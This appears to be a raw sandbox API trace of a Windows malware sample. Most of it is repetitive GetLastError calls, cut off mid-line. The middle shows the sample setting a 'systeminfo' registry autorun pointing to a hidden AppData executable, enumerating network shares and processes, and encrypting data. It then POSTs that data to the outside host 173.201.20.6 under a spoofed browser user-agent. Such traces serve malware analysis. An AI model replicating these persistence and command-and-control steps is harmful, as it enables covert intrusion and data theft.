[0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.535] GetLastError () returned 0x0 [0068.535] GetLastError () returned 0x0 [0068.535] GetLastError () returned 0x0 [0068.535] GetLastError () returned 0x0 [0068.535] GetLastError () returned 0x0 [0068.535] GetLastError () returned 0x0 [0068.535] GetLastError () returned 0x0 [0068.536] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x290f570, lpdwBufferLength=0x290f4c8, lpdwIndex=0x0 | out: lpBuffer=0x290f570*, lpdwBufferLength=0x290f4c8*=0x4, lpdwIndex=0x0) returned 1 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.536] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.537] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.538] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.539] GetLastError () returned 0x0 [0068.540] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000005, lpBuffer=0x290f4b8, lpdwBufferLength=0x290f4c0, lpdwIndex=0x0 | out: lpBuffer=0x290f4b8*, lpdwBufferLength=0x290f4c0*=0x4, lpdwIndex=0x0) returned 1 [0068.540] GetLastError () returned 0x0 [0068.540] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3d8690, dwNumberOfBytesToRead=0x94, lpdwNumberOfBytesRead=0x290f4bc | out: lpBuffer=0x3d8690*, lpdwNumberOfBytesRead=0x290f4bc*=0x94) returned 1 [0068.540] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3d8724, dwNumberOfBytesToRead=0x0, lpdwNumberOfBytesRead=0x290f4bc | out: lpBuffer=0x3d8724*, lpdwNumberOfBytesRead=0x290f4bc*=0x0) returned 1 [0068.540] GetCurrentProcess () returned 0xffffffff [0068.540] GetLastError () returned 0x0 [0068.541] wsprintfA (in: param_1=0x290f447, param_2="%X%P" | out: param_1="6E2FC1P") returned 7 [0068.541] SetLastError (dwErrCode=0x0) [0068.541] GetCurrentProcessId () returned 0x81c [0068.541] GetLastError () returned 0x0 [0068.541] wsprintfA (in: param_1=0x290f43f, param_2="%X%P" | out: param_1="6E2FC2P") returned 7 [0068.541] SetLastError (dwErrCode=0x0) [0068.541] GetCurrentProcessId () returned 0x81c [0068.541] GetCurrentProcessId () returned 0x81c [0068.541] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x290f4c0 | out: phHash=0x290f4c0) returned 1 [0068.541] CryptDecrypt (in: hKey=0x3c6db8, hHash=0x3db828, Final=1, dwFlags=0x0, pbData=0x40ca50, pdwDataLen=0x290f58c | out: pbData=0x40ca50, pdwDataLen=0x290f58c) returned 1 [0068.541] CryptVerifySignatureW (hHash=0x3db828, pbSignature=0x3d8690, dwSigLen=0x60, hPubKey=0x3c6328, szDescription=0x0, dwFlags=0x0) returned 1 [0068.541] CryptDestroyHash (hHash=0x3db828) returned 1 [0068.541] GetCurrentProcessId () returned 0x81c [0068.541] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0068.541] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0068.541] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0068.541] RegSetValueExW (in: hKey=0x3fc, lpValueName="systeminfo", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"", cbData=0x86 | out: lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"") returned 0x0 [0068.541] RegCloseKey (hKey=0x3fc) returned 0x0 [0068.541] GetCurrentProcessId () returned 0x81c [0068.938] GetTickCount () returned 0x2051e [0068.938] GetComputerNameW (in: lpBuffer=0x39522c, nSize=0x290f5f8 | out: lpBuffer="YKYD69Q", nSize=0x290f5f8) returned 1 [0068.938] WTSGetActiveConsoleSessionId () returned 0x1 [0068.938] WTSQueryUserToken (SessionId=0x1, phToken=0x290f5f8*=0x33b6048) returned 0 [0068.938] ImpersonateLoggedOnUser (hToken=0x0) returned 0 [0068.947] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x290ef30 | out: lphEnum=0x290ef30*=0x3db5e8) returned 0x0 [0069.493] WNetEnumResourceW (in: hEnum=0x3db5e8, lpcCount=0x290ef24, lpBuffer=0x33e7a38, lpBufferSize=0x290ef40 | out: lpcCount=0x290ef24, lpBuffer=0x33e7a38, lpBufferSize=0x290ef40) returned 0x0 [0069.493] WaitForSingleObject (hHandle=0x3e4, dwMilliseconds=0x0) returned 0x102 [0069.493] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x33e7a38, lphEnum=0x290e850 | out: lphEnum=0x290e850*=0x3b86c0) returned 0x0 [0069.494] WNetEnumResourceW (in: hEnum=0x3b86c0, lpcCount=0x290e844, lpBuffer=0x33f7a40, lpBufferSize=0x290e860 | out: lpcCount=0x290e844, lpBuffer=0x33f7a40, lpBufferSize=0x290e860) returned 0x103 [0069.494] WNetCloseEnum (hEnum=0x3b86c0) returned 0x0 [0069.494] WaitForSingleObject (hHandle=0x3e4, dwMilliseconds=0x0) returned 0x102 [0069.494] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x33e7a58, lphEnum=0x290e850 | out: lphEnum=0x290e850*=0x3b86c0) returned 0x4b8 [0081.877] WaitForSingleObject (hHandle=0x3e4, dwMilliseconds=0x0) returned 0x102 [0081.877] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x33e7a78, lphEnum=0x290e850 | out: lphEnum=0x290e850*=0x3b86c0) returned 0x4c6 [0081.878] WaitForSingleObject (hHandle=0x3e4, dwMilliseconds=0x0) returned 0x102 [0081.878] WNetEnumResourceW (in: hEnum=0x3db5e8, lpcCount=0x290ef24, lpBuffer=0x33e7a38, lpBufferSize=0x290ef40 | out: lpcCount=0x290ef24, lpBuffer=0x33e7a38, lpBufferSize=0x290ef40) returned 0x103 [0081.884] WNetCloseEnum (hEnum=0x3db5e8) returned 0x0 [0081.884] CloseHandle (hObject=0x0) returned 0 [0081.988] GetTickCount () returned 0x23800 [0081.988] GetCurrentProcessId () returned 0x81c [0081.988] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x290f388, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe")) returned 0x40 [0081.988] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe") returned 64 [0081.988] GetCurrentProcessId () returned 0x81c [0081.988] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3e4 [0081.990] lstrlenA (lpString="just string") returned 11 [0081.990] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0081.990] Process32FirstW (in: hSnapshot=0x3e4, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0081.991] GetLastError () returned 0x0 [0081.991] GetCurrentProcessId () returned 0x81c [0081.991] GetLastError () returned 0x0 [0082.006] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x290f4c0 | out: phHash=0x290f4c0) returned 1 [0082.006] CryptEncrypt (in: hKey=0x3c6db8, hHash=0x3db7e8, Final=1, dwFlags=0x0, pbData=0x33b9754*, pdwDataLen=0x290f4b4*=0x244, dwBufLen=0x250 | out: pbData=0x33b9754*, pdwDataLen=0x290f4b4*=0x250) returned 1 [0082.006] lstrlenA (lpString="just string") returned 11 [0082.006] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0082.007] CryptExportKey (in: hKey=0x3c6db8, hExpKey=0x3c6328, dwBlobType=0x1, dwFlags=0x40, pbData=0x290f444, pdwDataLen=0x290f4b0 | out: pbData=0x290f444*, pdwDataLen=0x290f4b0*=0x6c) returned 1 [0082.007] GetLastError () returned 0x0 [0082.007] CryptGetHashParam (in: hHash=0x3db7e8, dwParam=0x2, pbData=0x33b9740, pdwDataLen=0x290f4b0, dwFlags=0x0 | out: pbData=0x33b9740, pdwDataLen=0x290f4b0) returned 1 [0082.007] CryptDestroyHash (hHash=0x3db7e8) returned 1 [0082.007] GetLastError () returned 0x0 [0082.007] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x290f2b8, cbSize=0x290f4b8 | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", cbSize=0x290f4b8) returned 0x0 [0082.007] GetCurrentProcessId () returned 0x81c [0082.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x290f2b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 179 [0082.007] InternetOpenW (lpszAgent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0082.007] InternetConnectW (hInternet=0xcc0004, lpszServerName="173.201.20.6", nServerPort=0x1ba8, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0082.007] GetLastError () returned 0x0 [0082.007] GetCurrentProcessId () returned 0x81c [0082.007] lstrlenA (lpString="just string") returned 11 [0082.007] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0082.007] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName=0x0, lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x844cc300, dwContext=0x0) returned 0xcc000c [0082.009] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0xffffffff, lpOptional=0x33b96e0*, dwOptionalLength=0x2c4 | out: lpOptional=0x33b96e0*) returned 1 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.585] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.586] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.587] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError 